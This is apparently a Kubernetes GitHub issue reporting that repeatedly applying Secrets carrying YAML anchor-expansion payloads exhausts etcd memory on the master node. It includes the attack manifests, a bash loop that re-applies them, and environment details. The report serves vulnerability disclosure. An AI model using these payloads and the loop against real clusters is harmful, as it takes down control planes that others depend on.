Etcd used by kubernetes is vulnerable to OOM attack #107325
Description
What happened?
Etcd process on master node exhaust all memory, making DoS attack.
top:
PID USER PR NI VIRT RES SHR S %CPU %MEM COMMAND
108 root 20 0 0 0 0 S 47.2 0.0 kswapd0
2218 root 20 0 15.6g 5.3g 18008 S 41.2 67.9 etcd
42509 root 20 0 1781692 637428 20168 S 39.9 7.9 kube-apiserver
- Notice that this is not the final state of my OS. Because after I take this snapshot, the master is OOM and this shell is broken.
What did you expect to happen?
Is it a real security issue of kube-apiserver/etcd that makes this DoS attack? Or is it just because I missed something? For example, a misconfig?(But I do not modify any k8s config, all settings are default.)
How can we reproduce it (as minimally and precisely as possible)?
-
A malicious user leverage a secret1.yaml to create his own secret:
apiVersion: v1
kind: Secret
metadata:
namespace: my-namespace
name: test-secretx
type: Opaque
stringData:
attack.yaml: |
a: &a ["test","test","test","test","test","test","ltest","test","test"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*a,*a,*a,*a,*a,*a,*a,*a,*a]
......
(I write a lot of useless data to attack.yaml, so the data size of secret1.yaml is near 200k) -
A malicious user leverage a secret2.yaml to update his own secret:
apiVersion: v1
kind: Secret
metadata:
namespace: my-namespace
name: test-secretx
type: Opaque
stringData:
attack.yaml: |
a: &a ["test","test","test","test","test","test","ltest","test","test"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
......
( The data size of secret2.yaml is the same as secret1.yaml, but thestringDatais different) -
This malicious user update the
test-secretxsecret repeatedly:
#!/bin/bash
while true
do
kubectl apply -f secret1.yaml
kubectl apply -f secret2.yaml
done -
The memory of the master node will be exhausted in about 40+ minutes, making an OOM DoS attack.
Anything else we need to know?
No response
Kubernetes version
$ kubectl version
`client Version:`
`version.Info{Major:"1", Minor:"21", GitVersion:"v1.21.1", GitCommit:"5e58841cce77d4bc13713ad2b91fa0d961e69192", GitTreeState:"clean", BuildDate:"2021-05-12T14:18:45Z", GoVersion:"go1.16.4", Compiler:"gc", Platform:"linux/amd64"}`
`Server Version:`
`version.Info{Major:"1", Minor:"21", GitVersion:"v1.21.1", GitCommit:"5e58841cce77d4bc13713ad2b91fa0d961e69192", GitTreeState:"clean", BuildDate:"2021-05-12T14:12:29Z", GoVersion:"go1.16.4", Compiler:"gc", Platform:"linux/amd64"}`Cloud provider
OS version
# On Linux:
$ cat /etc/os-release
# `NAME="Ubuntu"`
`VERSION="20.04.2 LTS (Focal Fossa)"`
`ID=ubuntu`
`ID_LIKE=debian`
`PRETTY_NAME="Ubuntu 20.04.2 LTS"`
`VERSION_ID="20.04"`
`HOME_URL="https://www.ubuntu.com/"`
`SUPPORT_URL="https://help.ubuntu.com/"`
`BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"`
`PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"`
`VERSION_CODENAME=focal`
`UBUNTU_CODENAME=focal`
$ uname -a
# `Linux k8s-master 5.11.0-43-generic #47~20.04.2-Ubuntu SMP Mon Dec 13 11:06:56 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux`
# On Windows:
C:\> wmic os get Caption, Version, BuildNumber, OSArchitecture
# paste output hereInstall tools
Container runtime (CRI) and and version (if applicable)
younaman@k8s-master:~/Desktop$ sudo ctr version
[sudo] password for younaman:
Client:
Version: 1.5.2-0ubuntu1~20.04.3
Revision:
Go version: go1.13.8
Server:
Version: 1.5.2-0ubuntu1~20.04.3
Revision:
UUID: b5c3f075-cafe-47e9-8cb9-98ece8f1107c